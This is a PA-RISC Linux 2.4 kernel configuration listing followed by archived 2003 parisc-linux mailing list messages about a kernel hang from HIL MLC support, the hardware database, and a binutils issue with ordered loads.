# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
CONFIG_NET_IPIP=y
CONFIG_NET_IPGRE=y
CONFIG_NET_IPGRE_BROADCAST=y
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
CONFIG_INET_ECN=y
CONFIG_SYN_COOKIES=y
CONFIG_IPV6=y
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set

#
# Appletalk devices
#
# CONFIG_DEV_APPLETALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set

#
# ATA/IDE/MFM/RLL support
#
# CONFIG_IDE is not set
# CONFIG_BLK_DEV_IDE_MODES is not set
# CONFIG_BLK_DEV_HD is not set

#
# SCSI support
#
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=y
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
CONFIG_BLK_DEV_SR_VENDOR=y
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=y
# CONFIG_SCSI_DEBUG_QUEUES is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_7000FASST is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA152X is not set
# CONFIG_SCSI_AHA1542 is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_CPQFCTS is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_DMA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_NCR53C406A is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
CONFIG_53C700_USE_CONSISTENT=y
# CONFIG_SCSI_NCR53C7xx is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_ASK_ZALON is not set
# CONFIG_ASK_NCR53C8XX is not set
# CONFIG_ASK_SYM53C8XX is not set
CONFIG_SCSI_ZALON=y
CONFIG_ASK_ZALON=y
CONFIG_SCSI_SYM53C8XX=y
CONFIG_ASK_SYM53C8XX=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set
# CONFIG_SCSI_NCR53C8XX_PQS_PDS is not set
# CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PCI2000 is not set
# CONFIG_SCSI_PCI2220I is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_ISP is not set
# CONFIG_SCSI_QLOGIC_FC is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_U14_34F is not set
# CONFIG_SCSI_DEBUG is not set

#
# PCMCIA SCSI adapter support
#
# CONFIG_SCSI_PCMCIA is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
CONFIG_DUMMY=y
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=y
# CONFIG_SUNLANCE is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNBMAC is not set
# CONFIG_SUNQE is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_AC3200 is not set
# CONFIG_APRICOT is not set
# CONFIG_CS89x0 is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
# CONFIG_TULIP_MMIO is not set
# CONFIG_DE4X5 is not set
# CONFIG_DGRS is not set
# CONFIG_DM9102 is not set
# CONFIG_EEPRO100 is not set
# CONFIG_E100 is not set
# CONFIG_LNE390 is not set
# CONFIG_FEALNX is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_NE3210 is not set
# CONFIG_ES3210 is not set
# CONFIG_8139CP is not set
# CONFIG_8139TOO is not set
# CONFIG_8139TOO_PIO is not set
# CONFIG_8139TOO_TUNE_TWISTER is not set
# CONFIG_8139TOO_8129 is not set
# CONFIG_8139_OLD_RX_RESET is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_SUNDANCE_MMIO is not set
# CONFIG_TLAN is not set
# CONFIG_TC35815 is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_VIA_RHINE_MMIO is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_DL2K is not set
# CONFIG_E1000 is not set
# CONFIG_MYRI_SBUS is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_TIGON3 is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# PCMCIA network device support
#
# CONFIG_NET_PCMCIA is not set

#
# Input core support
#
CONFIG_INPUT=y
CONFIG_INPUT_KEYBDEV=y
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
CONFIG_INPUT_EVDEV=y

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256

#
# I2C support
#
CONFIG_I2C=y
CONFIG_I2C_ALGOBIT=y
# CONFIG_I2C_PHILIPSPAR is not set
# CONFIG_I2C_ELV is not set
# CONFIG_I2C_VELLEMAN is not set
# CONFIG_I2C_ALGOPCF is not set
CONFIG_I2C_CHARDEV=y
CONFIG_I2C_PROC=y

#
# Mice
#
# CONFIG_BUSMOUSE is not set
CONFIG_MOUSE=y
CONFIG_PSMOUSE=y
# CONFIG_82C710_MOUSE is not set
# CONFIG_PC110_PAD is not set
# CONFIG_MK712_MOUSE is not set

#
# Joysticks
#
# CONFIG_INPUT_GAMEPORT is not set
# CONFIG_INPUT_NS558 is not set
# CONFIG_INPUT_LIGHTNING is not set
# CONFIG_INPUT_PCIGAME is not set
# CONFIG_INPUT_CS461X is not set
# CONFIG_INPUT_EMU10K1 is not set
CONFIG_INPUT_SERIO=y
# CONFIG_INPUT_SERPORT is not set
# CONFIG_INPUT_ANALOG is not set
# CONFIG_INPUT_A3D is not set
# CONFIG_INPUT_ADI is not set
# CONFIG_INPUT_COBRA is not set
# CONFIG_INPUT_GF2K is not set
# CONFIG_INPUT_GRIP is not set
# CONFIG_INPUT_INTERACT is not set
# CONFIG_INPUT_TMDC is not set
# CONFIG_INPUT_SIDEWINDER is not set
# CONFIG_INPUT_IFORCE_USB is not set
# CONFIG_INPUT_IFORCE_232 is not set
# CONFIG_INPUT_WARRIOR is not set
# CONFIG_INPUT_MAGELLAN is not set
# CONFIG_INPUT_SPACEORB is not set
# CONFIG_INPUT_SPACEBALL is not set
# CONFIG_INPUT_STINGER is not set
# CONFIG_INPUT_DB9 is not set
# CONFIG_INPUT_GAMECON is not set
# CONFIG_INPUT_TURBOGRAFX is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_AMD_PM768 is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# PCMCIA character devices
#
# CONFIG_PCMCIA_SERIAL_CS is not set
# CONFIG_SYNCLINK_CS is not set

#
# HIL support
#
CONFIG_HIL=y
# CONFIG_HIL_KBD_BASIC is not set
CONFIG_HP_SDC=y
CONFIG_HP_SDC_RTC=y
CONFIG_HIL_MLC=y
CONFIG_HP_SDC_MLC=y
# CONFIG_HIL_KBD is not set
# CONFIG_HIL_PTR is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
CONFIG_QUOTA=y
CONFIG_AUTOFS_FS=y
CONFIG_AUTOFS4_FS=y
CONFIG_REISERFS_FS=y
# CONFIG_REISERFS_CHECK is not set
CONFIG_REISERFS_PROC_INFO=y
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BEFS_DEBUG is not set
# CONFIG_BFS_FS is not set
CONFIG_EXT3_FS=y
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_UMSDOS_FS=m
CONFIG_VFAT_FS=m
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_JFFS2_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_TMPFS is not set
CONFIG_RAMFS=y
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_JFS_FS=m
# CONFIG_JFS_DEBUG is not set
CONFIG_JFS_STATISTICS=y
CONFIG_MINIX_FS=y
# CONFIG_VXFS_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
CONFIG_DEVPTS_FS=y
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
CONFIG_CODA_FS=y
CONFIG_INTERMEZZO_FS=y
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
# CONFIG_ROOT_NFS is not set
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
CONFIG_NFSD_TCP=y
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_SMB_FS=y
# CONFIG_SMB_NLS_DEFAULT is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set
CONFIG_ZISOFS_FS=y

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_SMB_NLS=y
CONFIG_NLS=y

#
# Native Language Support
#
CONFIG_NLS_DEFAULT="iso8859-1"
# CONFIG_NLS_CODEPAGE_437 is not set
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
# CONFIG_NLS_CODEPAGE_850 is not set
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
# CONFIG_NLS_ISO8859_1 is not set
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_UTF8 is not set

#
# Console drivers
#

#
# Frame-buffer support
#
CONFIG_FB=y
CONFIG_DUMMY_CONSOLE=y
# CONFIG_FB_RIVA is not set
# CONFIG_FB_CLGEN is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CYBER2000 is not set
CONFIG_FB_STI=y
# CONFIG_FB_MATROX is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FBCON_ADVANCED is not set
CONFIG_FBCON_CFB8=y
CONFIG_FBCON_CFB32=y
CONFIG_FBCON_STI=y
# CONFIG_FBCON_FONTWIDTH8_ONLY is not set
# CONFIG_FBCON_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y

#
# Sound
#
# CONFIG_SOUND is not set

#
# USB support
#
# CONFIG_USB is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y
# CONFIG_DEBUG_SPINLOCK is not set

#
# Library routines
#
CONFIG_ZLIB_INFLATE=y
# CONFIG_ZLIB_DEFLATE is not set




From - Thu Nov 08 21:26:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I found the cause of my kernel hangs
Date: Thu, 30 Jan 2003 10:12:09 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20030130181209.GK11363@tausq.org>
References: <Pine.LNX.4.33.0301301022570.235-100000@jordan.eng.nateng.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622168 20858 80.91.229.3 (22 Nov 2014 02:09:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sir Ace <chandler@nateng.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 11:33:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EEC6482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 11:33:03 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 79EC9CDA56; Thu, 30 Jan 2003 10:12:09 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0301301022570.235-100000@jordan.eng.nateng.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17566

In reference to a message from Sir Ace, dated Jan 30:
> 
> The offending thing was:
> HIL MLC Support
> 
> I went through the options one by one, starting with just about everything
> turned off, and adding one thing at a time, until I replicated my hang.
> What info would you guys like, besides this?
> 
> The machine is a J200.

http://www.parisc-linux.org/faq/kernelbug-howto.html

randolph


From - Thu Nov 08 21:26:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Thu, 30 Jan 2003 12:23:46 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20030130192346.GA1703@dsl2.external.hp.com>
References: <03Jan30.121351cet.119060@ns.hiscom.nl> <03013008454600.00780@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622169 20864 80.91.229.3 (22 Nov 2014 02:09:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:29 +0000 (UTC)
Cc: "Beerse, Corn?" <c.beerse@torex-hiscom.nl>,
	"'jsoe0708@tiscali.be'" <jsoe0708@tiscali.be>,
	Ed Schaller <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@goquest.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 12:23:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A2ED2482A; Thu, 30 Jan 2003 12:23:46 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <03013008454600.00780@localhost.localdomain>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17567

On Thu, Jan 30, 2003 at 08:45:46AM -0600, Michael S. Zick wrote:
> "tweaking" a web page or two to make this usage clear
> to the newcomer might help.

The goal of the HWDB was to survey what HW each model machine has
so we could write proper support in the kernel.
AFAIK, The people submitting entries didn't sign up to do newbie support.

Keep posting questions to the parisc-linux mailing list and let people
who *want* to answer them do so.

If someone is looking for platform specific install notes, I think
ESIEE has such a web page already. Following links to ESIEE
from www.parisc-linux.org.

> Who would be a good contact for such a change?

In general, Thibaut or myself.
Anyone with CVS *write* permission can change the parisc-linux
web page but most don't touch it.

grant


From - Thu Nov 08 21:26:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hardware Database & User Contacts
Date: Thu, 30 Jan 2003 20:46:13 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20030131034613.GA11231@dsl2.external.hp.com>
References: <03Jan30.121351cet.119060@ns.hiscom.nl> <03013008454600.00780@localhost.localdomain> <03013009214901.00780@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622169 20870 80.91.229.3 (22 Nov 2014 02:09:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@goquest.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 20:46:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 379BF482A; Thu, 30 Jan 2003 20:46:13 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <03013009214901.00780@localhost.localdomain>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17568

On Thu, Jan 30, 2003 at 09:21:49AM -0600, Michael S. Zick wrote:
> Group.
> 
> I was just browsing the pages, trying to get an idea if I had
> just volunteered for a 2-line change or a 2-million line change...
> 
> Question 1:
> The user registration form says "... You will not be contacted..."
> 
> I always read that as: "We will not spam you with advertisements."
> But others may have read that as: "You will not be contacted."
> 
> Possible answers :
> 1.a - Give up on the idea of recommending this use of the
> hardware database information.
> 
> 1.b - Add a field meaning: "Willing to give advice on this."
> Then initialize that field for all current members to "No".

yes

> 1.c - Hide the email address field from public view
> (developer only view, like it says now) unless the 
> "Willing to give advice on this." thing is marked.

If you are willing to hack php...that's an option too

> Question 2:
> Is there a way to update this registration information?

not at the moment.

> 2.a - At this time, my e-mail address is wrong, I would like
> to update it.

it's a manual process and I'm not doing it.

> 2.b - If we set all existing users to 1.b - "No"; is there a 
> way for them to update it to "Yes"?

not until someone writes the code to do it.

grant


From - Thu Nov 08 21:26:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PATCH hppa ordered load absolute ops
Date: Fri, 31 Jan 2003 00:01:55 -0700 (MST)
Lines: 58
Approved: news@gmane.org
Message-ID: <20030131070155.8DDFD482A__38508.9581403465$1416622169$gmane$org@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622169 20876 80.91.229.3 (22 Nov 2014 02:09:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bug-binutils@gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 31 00:01:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 8DDFD482A; Fri, 31 Jan 2003 00:01:55 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17569

in trying to close a potential memory ordering hole for pa2.0 machines,
I've run into the following problem with binutils.

hppa linux kernel uses ldwa to access MMIO space instead of
using virtually mapped addresses. Normally, ordering is enforced
automatically to all IO space accesses according to the PA 2.0 architecture.
However, some platforms (not supported yet) have IO devices responding
to physical addresses *outside* the architected IO spaces and that's
the hole I was trying to close.

hppa64-linux-gcc -D__KERNEL__ -I/home/src/2.4.20/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -mpa-risc-2-0 -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000   -nostdinc -I /opt/palinux/lib/gcc-lib/hppa64-linux/3.0.4/include -DKBUILD_BASENAME=eeprom  -c -o eeprom.o eeprom.c
